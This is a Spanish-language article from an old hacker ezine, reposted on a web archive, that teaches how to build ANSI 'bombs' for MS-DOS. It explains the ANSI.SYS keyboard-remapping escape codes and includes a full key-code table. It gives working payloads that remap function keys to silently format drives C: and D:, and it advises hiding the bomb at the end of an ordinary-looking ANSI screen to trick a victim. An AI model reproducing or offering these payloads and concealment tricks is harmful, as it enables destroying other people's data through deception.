Copy Link
Add to Bookmark
Report

Minotauro Magazine Issue 02 05 Una buena aplicaci¢n de los c¢digos ANSI...Bombas!...

eZine's profile picture
Published in 
Minotauro Magazine
 · 6 Feb 2021

  

Una buena aplicaci¢n de los c¢digos ANSI...Bombas!...
-------------------------------------------------------------------------------

Bueno, por si no lo sab¡an, el ANSI es un controlador que posee varias
funciones de manejo de pantalla y teclado. Esto £ltimo es lo que nos interesa a
nosotros. [Si no tienen el ANSI.SYS, por favor llamen a Microsoft y compren el
MS_DOS (original por supuesto :-)]...Si consiguieron el controlador, empezamos:
La gran ventaja de ‚ste driver, es la funci¢n de redireccionamiento del tecla_
do. Qu‚ significa esto?? Bueno, esto significa, que ‚ste driver, programado de
una manera tal, puede CAMBIAR LA FUNCION de una tecla espec¡fica. Got it?
A lo que voy es, que una vez que se carg¢ un ANSI, puedo redefinir las
las teclas de ese sistema.. Por ejemplo : en vez de escribir "DIR C:\WORKS",
podr¡a tocar la tecla "A" directamente. La l¢gica ser¡a ‚sta:

A <== DIR C:\WORKS <ENTER>

Entonces cada vez que toque la "A", me va a aperecer el contenido de ese dir.
Esta propiedad, se podr¡a utilizar en otro tipo de aplicaciones :-) Por ese mo_
tivo, las "bombas" ANSI son de gran utilidad... Si nosotros logramos incorporar
una de estas bombas en un sistema, podemos tener el control del sistema, para
futuras necesidades.
Un ejemplo: Tengo un mal d¡a.....todo me sale mal.....y biene un ‚nte
computacional a joder las pelotas. Entonces yo, ya ducho en el tema de las bom_
bas ANSI, le programo una bombita r pida, cosa que apenas la corra, le redirec_
cione la barra espaciadora para que le format‚e el disco. Este tipo no te puede
echar la culpa, ya que lo £nico que le diste fue una linda pantalla de presen_
taci¢n .ANS, pero siempre corremos el riego de que esta persona conozca el tema
de las bombas ANSI y te cague....entonces nos jodemos.

Ac  biene la sint xis de los c¢digos ANSI:

Ojo, no hay que asustarse por los c¢digos raros que aparezcan, la sint xis de
los c¢digos es as¡ y punto.

ESC[x,yH
Mover el cursor a una posicion absoluta de la pantalla.
Donde 'x' es la Columna del cursor y 'y' es la Fila de cursor.
En caso de que no se expliciten par metros, el cursor es movido al principio
de la pantalla.

ESC[nA
Mover el cursor en forma relativa para arriba.
Donde 'n' es la cantidad de lineas que el cursor va a subir.
En caso de que se llegue al tope de la pantalla, el cursor queda ah¡ quieto.

ESC[nB
Mover el cursor en forma relativa para abajo.
Donde 'n' es la cantidad de lineas que el cursor va a bajar.
En caso de que se llegue al fondo de la pantalla, el cursor queda ah¡ duro.

ESC[nC
Mover el cursor en forma relativa para la derecha.
Donde 'n' es la cantidad de columnas que el cursor se va a adelantar.
En caso de que llegue al fin de la linea, se queda ah¡.

ESC[nD
Mover el cursor en forma relativa para la izquierda.
Donde 'n' es la cantidad de columnas que el cursor va a retroceder.
En caso de que llegue al principio de la pantalla, se queda ah¡.

ESC[s
Salvar la posicion actual del cursor.
Esta funci¢n no lleva par metros. Al ejecutarse, la posici¢n del cursor que_
da grabada, para ser restitu¡da mas tarde con la pr¢x. funci¢n:

ESC[u
Restaurar la posicion anterior del cursor.
Esta funci¢n tampoco lleva par metros. Lo que hace es mover el cursor a don_
de estaba en el momento de ejecutarse la funci¢n anterior.

ESC[2J
Borrar la pantalla.
Ning£n par metro... Al ejecutarse borra la pantalla y mueve el cursor al
principio de la pantalla. (0,0)

ESC[K
Borrar hacia abajo.
Otra vez sin par metros... Al ejecutarse borra desde la posici¢n actual del
cursor, hasta el fin de la pantalla. (Borra tambi‚n el byte a donde apuntaba
el cursor)

ESC[tecla;"comando";13p
Redireccionamiento del teclado.
Ahora bien, ESTA es la funci¢n que nos interesa...
En TECLA, va el c¢digo de la tecla que queremos redireccionar... Va el c¢di_
go, NO la tecla en s¡, ok?? Cada tecla tiene un c¢digo, y cada combinaci¢n
(por ejemplo ALT_Q) tiene otro distinto. Ahora les mandamos una lista con
los c¢digos de TODAS las combinaci¢nes. (Si se nos olvid¢ alguna, pl¡s ha_
gannoslo saber).
Separada de la TECLA por un ; (punto y coma), empieza el string con el que
queremos reemplazar la tecla...Este string o comando va entre comillas dob_
les o simples ('' ¢ ""), es lo mismo.
Ese 13 que est  entre "COMANDO"; y p (min£scula) es el c¢digo de ENTER, ya
que el Enter no lo podemos representar con ASCIIs.
Y esa p min£scula, es la funci¢n.
Por ejemplo si queremos asignarle a F1 (c¢digo 0;59) que pida un directorio,
quedar¡a esto:

ESC[0;59;"dir";13p
Y si queremos que format‚e el disco, quedar¡a esto:

ESC[0;59;"Echo S|format c:/u";13p
(El ECHO S|, es para la confirmaci¢n del format, en Castellano obvio. Si
fuera en Ingl‚s, seria ECHO Y|.)
Para poder juntar 2 comandos se esriben directamente, sin dejar espacio, Ej:
Con esto estar¡a redireccionando F1 y F2 para que formateen 2 drives:

ESC[0;59;"Echo S|format c:/u >nul";13pESC[0;60;"Echo S|format d:/u >nul";13p

Tecla C¢digo CAPS&+c¢digo CTRL+c¢digo ALT+c¢digo
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
F1 0;59 0;84 0;94 0;104
F2 0;60 0;85 0;95 0;105
F3 0;61 0;86 0;96 0;106
F4 0;62 0;87 0;97 0;107
F5 0;63 0;88 0;98 0;108
F6 0;64 0;89 0;99 0;109
F7 0;65 0;90 0;100 0;110
F8 0;66 0;91 0;101 0;111
F9 0;67 0;92 0;102 0;112
F10 0;68 0;93 0;103 0;113
F11 0;133 0;135 0;137 0;139
F12 0;134 0;136 0;138 0;140
Home (Numeric Keypad) 0;71 55 0;119 ÄÄ
Up Arrow (Numeric Keypad) 0;72 56 (0;141) ÄÄ
Page Up (Numeric Keypad) 0;73 57 0;132 ÄÄ
Left Arrow (Numeric Keypad) 0;75 52 0;115 ÄÄ
Right Arrow (Numeric Keypad) 0;77 54 0;116 ÄÄ
End (Numeric Keypad) 0;79 49 0;117 ÄÄ
Down Arrow (Numeric Keypad) 0;80 50 (0;145) ÄÄ
Page Down (Numeric Keypad) 0;81 51 0;118 ÄÄ
Insert (Numeric Keypad) 0;82 48 (0;146) ÄÄ
Del (Numeric Keypad) 0;83 46 (0;147) ÄÄ
Home (Gray Keypad) (224;71) (224;71) (224;119) (224;151)
Up Arrow (Gray Keypad) (224;72) (224;72) (224;141) (224;152)
Page Up (Gray Keypad) (224;73) (224;73) (224;132) (224;153)
Left Arrow (Gray Keypad) (224;75) (224;75) (224;115) (224;155)
Right Arrow (Gray Keypad) (224;77) (224;77) (224;116) (224;157)
End (Gray Keypad) (224;79) (224;79) (224;117) (224;159)
Down Arrow (Gray Keypad) (224;80) (224;80) (224;145) (224;154)
Page Down (Gray Keypad) (224;81) (224;81) (224;118) (224;161)
Insert (Gray Keypad) (224;82) (224;82) (224;146) (224;162)
Del (Gray Keypad) (224;83) (224;83) (224;147) (224;163)
Print Scrn ÄÄ ÄÄ 0;114 ÄÄ
Pause/Break ÄÄ ÄÄ 0;0 ÄÄ
BackSpace 8 8 127 (0)
Enter 13 ÄÄ- 10 (0
Tab 9 0;15 (0;148) (0;165)
Nul 0;3 ÄÄ ÄÄ ÄÄ
a 97 65 1 0;30
b 98 66 2 0;48
c 99 66 3 0;46
d 100 68 4 0;32
e 101 69 5 0;18
f 102 70 6 0;33
g 103 71 7 0;34
h 104 72 8 0;35
i 105 73 9 0;23
j 106 74 10 0;36
k 107 75 11 0;37
l 108 76 12 0;38
m 109 77 13 0;50
n 110 78 14 0;49
o 111 79 15 0;24
p 112 80 16 0;25
q 113 81 17 0;16
r 114 82 18 0;19
s 115 83 19 0;31
t 116 84 20 0;20
u 117 85 21 0;22
v 118 86 22 0;47
w 119 87 23 0;17
x 120 88 24 0;45
y 121 89 25 0;21
z 122 90 26 0;44
1 49 33 ÄÄ- 0;120
2 50 64 0 0;121
3 51 35 ÄÄ- 0;122
4 52 36 ÄÄ- 0;123
5 53 37 ÄÄ- 0;124
6 54 94 30 0;125
7 55 38 ÄÄ- 0;126
8 56 42 ÄÄ- 0;126
9 57 40 ÄÄ- 0;127
0 48 41 ÄÄ- 0;129
- 45 95 31 0;130
= 61 43 ÄÄ- 0;131
[ 91 123 27 0;26
] 93 125 29 0;27
92 124 28 0;43
; 59 58 ÄÄ- 0;39
' 39 34 ÄÄ- 0;40
, 44 60 ÄÄ- 0;51
. 46 62 ÄÄ- 0;52
/ 47 63 ÄÄ- 0;53
` 96 126 ÄÄ- (0;41)
Enter (Numeric Keypad) 13 ÄÄ- 10 (0;166)
/ (Numeric Keypad) 47 47 (0;142) (0;74)
* (Numeric Keypad) 42 (0;144) (0;78) ÄÄ-
- (Numeric Keypad) 45 45 (0;149) (0;164)
+ (Numeric Keypad) 43 43 (0;150) (0;55)
5 (Numeric Keypad) (0;76) 53 (0;143) ÄÄ-

Aclaraci¢nes:
^^^^^^^^^^^^^
Si alguien ya conoce los c¢digos ANSI, sabr  que hay mas funciones, pe_
ro no vienen al caso. En t¢dos los c¢digos puse ESC.. Relamente no es ESC, sino
que su ASCII. Su ASCII es el 27 decimal (1b hexa), el s¡mbolo es la flecha a_
puntando a la izquierda. Para que un .ANS tome efecto, hay que TYPEarlo.
Un consejo....no manden la bomba 'pelada', sino va a ser MUY obvio...
M ndenla en alguna pantalla ANSI ya hecha (preferiblemente al final, por si
por una de esas casualidades, ese ANSI ya redirecciona esa tecla).

Esto es todo por hoy.
Hasta el pr¢ximo cap¡tulo..... Drako.

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT